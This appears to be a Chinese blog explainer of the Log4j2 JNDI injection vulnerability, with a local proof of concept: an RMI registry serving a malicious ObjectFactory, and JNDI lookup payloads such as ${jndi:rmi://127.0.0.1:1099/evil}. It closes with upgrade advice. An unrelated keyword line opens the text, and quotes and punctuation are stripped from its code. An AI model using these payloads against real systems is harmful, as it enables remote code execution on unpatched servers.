做个平台网站怎么做,房价查询,网站等比例缩放,网站前端设计是什么意思log4j2漏洞
这个漏洞到底是怎么回事#xff1f;
怎么利用这个漏洞呢#xff1f;
我看了很多技术分析文章#xff0c;都太过专业#xff0c;很多非Java技术栈或者不搞安全的人只能看个一知半解#xff0c;导致大家只能看个热闹#xff0c;对这个漏洞的成因、原理、利用…log4j2漏洞
这个漏洞到底是怎么回事
怎么利用这个漏洞呢
我看了很多技术分析文章都太过专业很多非Java技术栈或者不搞安全的人只能看个一知半解导致大家只能看个热闹对这个漏洞的成因、原理、利用方式、影响面理解的不到位。
这篇文章我尝试让所有技术相关的朋友都能看懂这个注定会载入网络安全史册上的漏洞到底是怎么一回事
log4j2
不管是什么编程语言不管是前端后端还是客户端对打日志都不会陌生。
通过日志可以帮助我们了解程序的运行情况排查程序运行中出现的问题。
在Java技术栈中用的比较多的日志输出框架主要是log4j2和logback。
今天讨论的主角就是log4j2。
我们经常会在日志中输出一些变量比如
logger.info(client ip: {}, clientIp)现在思考一个问题
假如现在想要通过日志输出一个Java对象但这个对象不在程序中而是在其他地方比如可能在某个文件中甚至可能在网络上的某个地方这种时候怎么办呢
log4j2的强大之处在于除了可以输出程序中的变量它还提供了一个叫Lookup的东西可以用来输出更多内容 lookup顾名思义就是查找、搜索的意思那在log4j2中就是允许在输出日志的时候通过某种方式去查找要输出的内容。
lookup相当于是一个接口具体去哪里查找怎么查找就需要编写具体的模块去实现了类似于面向对象编程中多态那意思。
好在log4j2已经帮我们把常见的查找途径都进行实现了 具体每一个的意思这里就不详述了这不是本文的重点。
JNDI
主要来看其中那个叫JNDI的东西 JNDI即Java Naming and Directory InterfaceJAVA命名和目录接口它提供一个目录系统并将服务名称与对象关联起来从而使得开发人员在开发过程中可以使用名称来访问对象。 看不懂看不懂就对了
简单粗暴理解有一个类似于字典的数据源你可以通过JNDI接口传一个name进去就能获取到对象了。
那不同的数据源肯定有不同的查找方式所以JNDI也只是一个上层封装在它下面也支持很多种具体的数据源。 LDAP
继续把目光聚焦咱们只看这个叫LDAP的东西。 LDAP即Lightweight Directory Access Protocol轻量级目录访问协议目录是一个为查询、浏览和搜索而优化的专业分布式数据库它呈树状结构组织数据就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同它有优异的读性能但写性能差并且没有事务处理、回滚等复杂功能不适于存储修改频繁的数据。所以目录天生是用来查询的就好像它的名字一样。 看不懂看不懂就对了
这个东西用在统一身份认证领域比较多但今天也不是这篇文章的重点。你只需要简单粗暴理解有一个类似于字典的数据源你可以通过LDAP协议传一个name进去就能获取到数据。
漏洞原理
好了有了以上的基础再来理解这个漏洞就很容易了。
假如某一个Java程序中将浏览器的类型记录到了日志中
String userAgent request.getHeader(User-Agent);logger.info(userAgent);网络安全中有一个准则不要信任用户输入的任何信息。
这其中User-Agent就属于外界输入的信息而不是自己程序里定义出来的。只要是外界输入的就有可能存在恶意的内容。
假如有人发来了一个HTTP请求他的User-Agent是这样一个字符串 ${jndi:ldap://127.0.0.1/exploit} 接下来log4j2将会对这行要输出的字符串进行解析。
首先它发现了字符串中有 ${}知道这个里面包裹的内容是要单独处理的。
进一步解析发现是JNDI扩展内容。
再进一步解析发现了是LDAP协议LDAP服务器在127.0.0.1要查找的key是exploit。
最后调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据那也没什么但问题就出在还可以请求Java对象
Java对象一般只存在于内存中但也可以通过序列化的方式将其存储到文件中或者通过网络传输。
如果是自己定义的序列化方式也还好但更危险的在于JNDI还支持一个叫命名引用Naming References的方式可以通过远程下载一个class文件然后下载后加载起来构建对象。 PS有时候Java对象比较大直接通过LDAP这些存储不方便就整了个类似于二次跳转的意思不直接返回对象内容而是告诉你对象在哪个class里让你去那里找。 注意这里就是核心问题了JNDI可以远程下载class文件来构建对象。
危险在哪里
如果远程下载的URL指向的是一个黑客的服务器并且下载的class文件里面藏有恶意代码那不就完犊子了吗
还没看懂没关系我画了一张图 这就是鼎鼎大名的JNDI注入攻击
其实除了LDAP还有RMI的方式有兴趣的可以了解下。
JNDI 注入
其实这种攻击手法不是这一次出现了早在2016的blackhat大会上就有大佬披露了这种攻击方式。 回过头来看问题的核心在于
Java允许通过JNDI远程去下载一个class文件来加载对象如果这个远程地址是自己的服务器那还好说如果是可以被外界来指定的地址那就要出大问题
前面的例子中一直用的127.0.0.1来代替LDAP服务器地址那如果输入的User-Agent字符串中不是这个地址而是一个恶意服务器地址呢
影响规模
这一次漏洞的影响面之所以如此之大主要还是log4j2的使用面实在是太广了。
一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外还有多如牛毛的中小企业选择Java。
另一方面还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。
在上面这些开发过程中大量使用了log4j2作为日志输出。只要一个不留神输出的日志有外部输入混进来那直接就是远程代码执行RCE灭顶之灾
修复
新版的log4j2已经修复了这个问题大家赶紧升级。
下面是log4j2官网中关于JNDI lookup的说明 我通过搜索引擎找到了缓存的12月10号前的快照大家对比一下比起下面这个缓存上面那一版多了哪些东西 答案是修复后的log4j2在JNDI lookup中增加了很多的限制 默认不再支持二次跳转也就是命名引用的方式获取对象只有在log4j2.allowedLdapClasses列表中指定的class才能获取。只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取 以上几道限制算是彻底封锁了通过打印日志去远程加载class的这条路了。 Log4j2漏洞
周五本应该是个开心的日子但是12月10日这一天却开心不起来。我想每个程序员都收到了log4j2告警推送了不得不紧急处理。
以下主要就是来解释下JDNI怎么通过log4j2远程注入攻击我们服务呢当天晚上log4j2也紧急上线了2.15.0版本修复了此漏洞。
1 引入log4j2依赖包
?xml version1.0 encodingUTF-8?
project xmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersiongroupIdorg.example/groupIdartifactIdlog4j-demo/artifactIdversion1.0-SNAPSHOT/versionpropertieslog4.version2.14.0/log4.version/propertiesdependencies!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --dependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-core/artifactIdversion${log4.version}/version/dependency!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --dependencygroupIdorg.apache.logging.log4j/groupIdartifactIdlog4j-api/artifactIdversion${log4.version}/version/dependency/dependencies/projectpackage com.lwl;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger LogManager.getLogger();public static void main(String[] args) {String userName 李商隐;logger.info(这是我们的服务你好{},userName);}
}上面这段代码肯定是大家最熟悉不过了输出大达也知道这是我们的服务你好李商隐
但是再看下下面的代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger LogManager.getLogger();public static void main(String[] args) {//String userName 李商隐;String userName ${java:os};logger.info(这是我们的服务你好{},userName);}
}输出的结果却是这是我们的服务你好Windows 10 10.0, architecture: amd64-64
而不是? 这是我们的服务你好${java:os} 这是为什么呢
2 接着我们打开阿帕奇 log4j2网站查看 上面的文档只好对应了刚刚输入的 java:os
3 下面是此次JDNI攻击 log4j2遇到了${}都会根据所属的指令去执行相应的处理。
下面我们准备一个服务
3.1 一个简单的输出类
package com.lwl.remote;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class ConsoleDTO implements ObjectFactory {static {System.out.println(你已经被攻击了);}public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) throws Exception {return null;}
}3.2 利用LocateRegistry注册一个简单地服务
package com.lwl.remote;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RemoteService {public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);Registry registry LocateRegistry.getRegistry();System.out.println(create rmi registry on port 1099);Reference reference new Reference(com.lwl.remote.ConsoleDTO,com.lwl.remote.ConsoleDTO,com.lwl.remote.ConsoleDTO);ReferenceWrapper referenceWrapper new ReferenceWrapper(reference);registry.bind(evil,referenceWrapper);}catch (Exception e){e.printStackTrace();}}}3.3 修改日志打印类的userName
package com.lwl;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger LogManager.getLogger();public static void main(String[] args) {System.setProperty(com.sun.jndi.rmi.object.trustURLCodebase, true);String userName ${jndi:rmi://127.0.0.1:1099/evil};logger.info(这是我们的服务你好{},userName);}
}最终我们来查看结果
你已经被攻击了
[11:18:21:946] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务你好${jndi:rmi://127.0.0.1:1099/evil}Process finished with exit code 0最终执行的服务代码在输出日志的同时执行了我们在输入框注入的代码你已经背攻击了。
目前log4j2已经上传了最新的包2.15.0 将pom文件引入最新的版本。
再次执行结果将会只有
[11:23:29:958] [INFO] - com.lwl.Log4jTest.main(Log4jTest.java:21) - 这是我们的服务你好${jndi:rmi://127.0.0.1:1099/evil}Process finished with exit code 0